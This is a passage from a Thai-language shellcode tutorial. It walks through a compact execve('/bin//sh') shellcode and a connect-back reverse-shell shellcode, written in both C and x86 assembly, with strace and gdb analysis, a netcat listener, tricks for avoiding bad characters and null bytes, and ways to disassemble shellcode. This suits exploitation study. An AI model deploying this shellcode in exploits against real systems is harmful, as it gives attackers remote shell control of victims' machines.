ถ้าใครทำ "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ "movb $0xb,%al" โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)

movb $0x7b,%al
xorb $0x70,%al

ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (ex_07_6.s)

.data
.text

.globl _start

_start:

# execve("/bin//sh", 0, 0)
xorl %ecx,%ecx   # set ecx เป็น 0
push %ecx        # NULL สำหรับ "/bin//sh"
push $0x68732f2f # //sh
push $0x6e69622f # /bin
movl %esp,%ebx   # set ebx เป็น address ของ "/bin//sh" (top of stack)
leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte
cltd             # set edx เป็น 0
int  $0x80

เมื่อ compile code นี้ เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes

Shellcode สำหรับ Connect Back Shell

มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555

ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (ex_07_7.c) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง

/*
gcc -static -o ex_07_7 ex_07_7.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv)
{
    int sk;
    struct sockaddr_in sk_addr;

    sk = socket(PF_INET, SOCK_STREAM, 0);
    if (sk == -1)
        return 1;

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.sin_family = AF_INET;
    sk_addr.sin_port = 0xb315;  // htons(5555)
    sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1")

    if (connect(sk, (struct sockaddr *)&sk_addr, sizeof(struct sockaddr)) == -1)
        return 1;

    dup2(sk, 0);
    dup2(sk, 1);
    dup2(sk, 2);

    execve("/bin/sh", 0, 0);
}

สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา

หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง "nc -nvvl 5555" หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt

เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ

$ strace -v ./ex_07_7
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", [0], [0])             = 0
...

ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน

วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)

// from /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */

ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า

$ gdb -q ./ex_07_7
Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done.
(gdb) b socket
Breakpoint 1 at 0x8050750
(gdb) r
Starting program: /home/worawit/tutz/ch07/ex_07_7

Breakpoint 1, 0x08050750 in socket ()
(gdb) disass
Dump of assembler code for function socket:
=> 0x08050750 <+0>:     mov    %ebx,%edx  # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน
   0x08050752 <+2>:     mov    $0x66,%eax # ใช้ socketcall
   0x08050757 <+7>:     mov    $0x1,%ebx  # กำหนด ebx เป็น 1 คือ SYS_SOCKET
   0x0805075c <+12>:    lea    0x4(%esp),%ecx  # โหลด address ของ arguments ไว้ที่ ecx
   0x08050760 <+16>:    int    $0x80
   0x08050762 <+18>:    mov    %edx,%ebx  # restore ค่า ebx
   0x08050764 <+20>:    cmp    $0xffffff83,%eax
   0x08050767 <+23>:    jae    0x8051aa0 <__syscall_error>
   0x0805076d <+29>:    ret
End of assembler dump.
(gdb) x/4x $esp+4   # ลองดูค่า arguments ต่างๆ
0xbffff6e0:     0x00000002      0x00000001      0x00000000      0x08048a42

และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep

# working directory คือ /usr/include
$ grep -wR PF_INET *
bits/socket.h:#define   PF_INET         2       /* IP protocol family.  */
bits/socket.h:#define   AF_INET         PF_INET
$ grep -wR SOCK_STREAM *
bits/socket.h:  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based
...
$ grep -wR IPPROTO_IP *
linux/in.h:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */
...

จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0

และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (ex_07_8.s) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)

.data
.text

.globl _start

_start:

##################################
# socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */)
xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx
leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย
inc  %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง
push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว
movl %esp,%ecx # set ecx เป็น array of arguments
int  $0x80

xchg %eax,%ebx  # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte
# ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้

###################################
# dup2() to replace stdin, stdout, stderr
# เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน
# ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน
pop  %ecx  # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr
dup_loop:  # loop จาก 2..0 เพื่อประหยัดคำสั่ง
movb $0x3f, %al # กำหนด dup2 system call number
int  $0x80
dec  %ecx  # ลบค่า ecx เพื่อทำ stdout กับ stdin
jns  dup_loop # หยุดทำเมื่อ ecx เป็นลบ
# dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax
# ดังนั้น ถึงจุดนี้จะได้ค่า
# - eax เป็น 0
# - ebx เป็น socket fd
# - ecx เป็น -1 (0xffffffff)

####################################
# connect(sk, sockaddr, len)

# จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น
# ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้
# และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ >= 16
movb $0x66,%al # set system call number
# เตรียม sockaddr struct
# เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้
push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr
push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family
# สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก)
#push %ecx
#xorl $0xfeffff80,(%esp)
#xorl $0x4ceafffd,%ecx
#push %ecx
movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack)
# เตรียม array of arguments (ecx)
push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16
push %ecx # address ของ sockaddr
push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว)
movl %esp,%ecx
#movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255
push $0x03
pop  %ebx  # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes
int  $0x80
# ถ้าต่อสำเร็จ eax จะเห็น 0
# Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect

###################################
# execve("/bin//sh", 0, 0)
cdq    # to make edx 0
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp, %ebx
xorl %ecx, %ecx
movb $0x0b, %al
int  $0x80

เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู

วิธี Disassemble Shellcode

ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s

วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att
00000000 31 C0                          xor     %eax, %eax
00000002 31 DB                          xor     %ebx, %ebx
00000004 B0 01                          mov     $0x01, %al
00000006 CD 80                          int     $0x80

วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && objdump -b binary -m i386 -D ./sc.bin.tmp && rm -f sc.bin.tmp
./sc.bin.tmp:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && ndisasm -b 32 ./sc.bin.tmp && rm -f sc.bin.tmp
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  B001              mov al,0x1
00000006  CD80              int 0x80

Reference:
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes